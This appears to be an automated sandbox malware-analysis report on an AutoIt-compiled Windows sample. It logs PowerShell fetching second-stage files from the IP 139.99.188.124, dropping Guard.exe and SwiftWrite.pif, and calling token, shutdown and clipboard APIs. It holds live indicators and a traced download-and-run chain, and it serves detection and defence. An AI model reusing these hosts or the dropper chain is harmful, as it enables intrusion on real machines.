00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 8f 00 00 00 00 0c 00 00 52 00 00 00 ea 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 50 d7 00 00 00 90 0c 00 00 d8 00 00 00 3c 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 71 00 00 00 70 0d 00 00 72 00 00 00 14 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global trafficHTTP traffic detected: GET /mzmLv.txt HTTP/1.1Host: 139.99.188.124Connection: Keep-Alive
Source: Joe Sandbox ViewIP Address: 139.99.188.124 139.99.188.124
Source: Joe Sandbox ViewIP Address: 139.99.188.124 139.99.188.124
Source: Joe Sandbox ViewASN Name: OVHFR OVHFR
Source: unknownDNS traffic detected: query: nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs replaycode: Name error (3)
Source: global trafficHTTP traffic detected: GET /hUrTgQM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 139.99.188.124Connection: Keep-Alive
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: unknownTCP traffic detected without corresponding DNS query: 139.99.188.124
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BFE87C InternetReadFile,0_2_00007FF787BFE87C
Source: global trafficHTTP traffic detected: GET /hUrTgQM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 139.99.188.124Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /mzmLv.txt HTTP/1.1Host: 139.99.188.124Connection: Keep-Alive
Source: global trafficDNS traffic detected: DNS query: nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs
Source: powershell.exe, 00000004.00000002.1615547724.0000018AB0D24000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1615547724.0000018AAFE08000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://139.99.188.124
Source: RMBOriPHVJ.exe, 00000000.00000002.1507212098.000001D8BF177000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://139.99.188.124/hUrTgQM
Source: powershell.exe, 00000004.00000002.1615547724.0000018AAFE08000.00000004.00000800.00020000.00000000.sdmp, PublicProfile.ps1.0.drString found in binary or memory: http://139.99.188.124/mzmLv.txt
Source: powershell.exe, 00000004.00000002.1615547724.0000018AB1206000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://139.99.HB
Source: Guard.exe, 00000006.00000002.2706843435.0000000003969000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1594823427.00000000043ED000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.1.drString found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Guard.exe, 00000006.00000002.2706843435.0000000003969000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1594823427.00000000043ED000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.1.drString found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Guard.exe, 00000006.00000002.2706843435.0000000003969000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1594823427.00000000043ED000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.1.drString found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Guard.exe, 00000006.00000002.2706843435.0000000003969000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1594823427.00000000043ED000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.1.drString found in binary or memory: http://crl.globalsign.net/root-r3.crl0
Source: powershell.exe, 00000004.00000002.1632498792.0000018ABFC4F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1615547724.0000018AB15CE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
Source: Guard.exe, 00000006.00000002.2706843435.0000000003969000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1594823427.00000000043ED000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.1.drString found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Guard.exe, 00000006.00000002.2706843435.0000000003969000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1594823427.00000000043ED000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.1.drString found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
Source: Guard.exe, 00000006.00000002.2706843435.0000000003969000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1594823427.00000000043ED000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.1.drString found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: powershell.exe, 00000004.00000002.1615547724.0000018AAFE08000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000004.00000002.1615547724.0000018AAFBE1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: Guard.exe, 00000006.00000002.2706843435.0000000003969000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1594823427.00000000043ED000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.1.drString found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Guard.exe, 00000006.00000002.2706843435.0000000003969000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1594823427.00000000043ED000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.1.drString found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
Source: powershell.exe, 00000004.00000002.1615547724.0000018AB1233000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000004.00000002.1615547724.0000018AAFE08000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: Guard.exe, 00000006.00000002.2704381581.0000000000D69000.00000002.00000001.01000000.00000007.sdmp, Guard.exe, 00000006.00000003.1594823427.00000000043ED000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif, 0000000B.00000000.1730272119.0000000000A09000.00000002.00000001.01000000.00000009.sdmp, SwiftWrite.pif.6.dr, Guard.exe.1.drString found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: powershell.exe, 00000004.00000002.1615547724.0000018AAFBE1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.1615547724.0000018AB15CE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1615547724.0000018AB15CE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1615547724.0000018AB15CE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000004.00000002.1615547724.0000018AAFE08000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000004.00000002.1615547724.0000018AB0D24000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
Source: powershell.exe, 00000004.00000002.1632498792.0000018ABFC4F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1615547724.0000018AB15CE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000004.00000002.1615547724.0000018AB1233000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.org
Source: powershell.exe, 00000004.00000002.1615547724.0000018AB1233000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://oneget.orgX
Source: Guard.exe, 00000006.00000002.2706843435.0000000003969000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1594823427.00000000043ED000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.1.drString found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Guard.exe.1.drString found in binary or memory: https://www.globalsign.com/repository/0
Source: Guard.exe, 00000006.00000002.2706843435.0000000003969000.00000004.00000020.00020000.00000000.sdmp, Guard.exe, 00000006.00000003.1594823427.00000000043ED000.00000004.00000020.00020000.00000000.sdmp, SwiftWrite.pif.6.dr, Guard.exe.1.drString found in binary or memory: https://www.globalsign.com/repository/06
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C00D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00007FF787C00D24
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C00D24 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00007FF787C00D24
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D14830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,6_2_00D14830
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009B4830 OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,11_2_009B4830
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C00A6C OpenClipboard,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,GlobalLock,CloseClipboard,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,GlobalUnlock,IsClipboardFormatAvailable,GetClipboardData,GlobalLock,DragQueryFileW,DragQueryFileW,DragQueryFileW,GlobalUnlock,CountClipboardFormats,CloseClipboard,0_2_00007FF787C00A6C
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BE9034 GetParent,GetKeyboardState,SetKeyboardState,PostMessageW,PostMessageW,PostMessageW,PostMessageW,0_2_00007FF787BE9034
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D2D164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,6_2_00D2D164
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009CD164 DefDlgProcW,SendMessageW,GetWindowLongW,SendMessageW,SendMessageW,_wcsncpy,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,SendMessageW,SendMessageW,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,InvalidateRect,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,11_2_009CD164

System Summary

barindex
Binary is likely a compiled AutoIt script file
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: This is a third-party compiled AutoIt script.0_2_00007FF787B737B0
Source: RMBOriPHVJ.exeString found in binary or memory: This is a third-party compiled AutoIt script.
Source: RMBOriPHVJ.exe, 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: This is a third-party compiled AutoIt script.memstr_f6b276c5-d
Source: RMBOriPHVJ.exe, 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpString found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*memstr_21672160-0
Source: RMBOriPHVJ.exeString found in binary or memory: This is a third-party compiled AutoIt script.memstr_15e85dbf-9
Source: RMBOriPHVJ.exeString found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer@*memstr_c6249cc9-f
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\Public\Guard.exeJump to dropped file
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BEC110: CreateFileW,DeviceIoControl,CloseHandle,0_2_00007FF787BEC110
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BDCE68 LogonUserW,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_00007FF787BDCE68
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BED750 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,0_2_00007FF787BED750
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D05778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,6_2_00D05778
Source: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pifCode function: 11_2_009A5778 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,11_2_009A5778
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C0F6300_2_00007FF787C0F630
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BAA8A00_2_00007FF787BAA8A0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BB67F00_2_00007FF787BB67F0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C1C6D40_2_00007FF787C1C6D4
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C1A59C0_2_00007FF787C1A59C
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C1055C0_2_00007FF787C1055C
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B945140_2_00007FF787B94514
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BA84C00_2_00007FF787BA84C0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BB24000_2_00007FF787BB2400
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B9C3FC0_2_00007FF787B9C3FC
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BF83D40_2_00007FF787BF83D4
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C083600_2_00007FF787C08360
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C063200_2_00007FF787C06320
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B902C40_2_00007FF787B902C4
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B9C1300_2_00007FF787B9C130
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BA30DC0_2_00007FF787BA30DC
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B80E700_2_00007FF787B80E70
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C1CE8C0_2_00007FF787C1CE8C
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B90E900_2_00007FF787B90E90
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B82E300_2_00007FF787B82E30
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BB6DE40_2_00007FF787BB6DE4
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BB2D200_2_00007FF787BB2D20
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C06C340_2_00007FF787C06C34
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C10AEC0_2_00007FF787C10AEC
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B72AE00_2_00007FF787B72AE0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B9F8D00_2_00007FF787B9F8D0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B858D00_2_00007FF787B858D0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BED87C0_2_00007FF787BED87C
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B7183C0_2_00007FF787B7183C
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BB18400_2_00007FF787BB1840
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C217C00_2_00007FF787C217C0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BA17500_2_00007FF787BA1750
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C056A00_2_00007FF787C056A0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BA95B00_2_00007FF787BA95B0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B7B3900_2_00007FF787B7B390
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BB529C0_2_00007FF787BB529C
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C032AC0_2_00007FF787C032AC
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C0206C0_2_00007FF787C0206C
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B75F3C0_2_00007FF787B75F3C
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B9BEB40_2_00007FF787B9BEB4
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B7BE700_2_00007FF787B7BE70
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B83C200_2_00007FF787B83C20
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C1DB180_2_00007FF787C1DB18
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BF1A180_2_00007FF787BF1A18
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B8FA4F0_2_00007FF787B8FA4F
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787B7B9F00_2_00007FF787B7B9F0
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787C1BA0C0_2_00007FF787C1BA0C
Source: C:\Users\user\Desktop\RMBOriPHVJ.exeCode function: 0_2_00007FF787BA793C0_2_00007FF787BA793C
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CAB0206_2_00CAB020
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CA94E06_2_00CA94E0
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CA9C806_2_00CA9C80
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CC23F56_2_00CC23F5
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D284006_2_00D28400
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CD65026_2_00CD6502
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CAE6F06_2_00CAE6F0
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CD265E6_2_00CD265E
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CC282A6_2_00CC282A
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CD89BF6_2_00CD89BF
Source: C:\Users\Public\Guard.exeCode function: 6_2_00CD6A746_2_00CD6A74
Source: C:\Users\Public\Guard.exeCode function: 6_2_00D20A3A6_2_00D20A3A
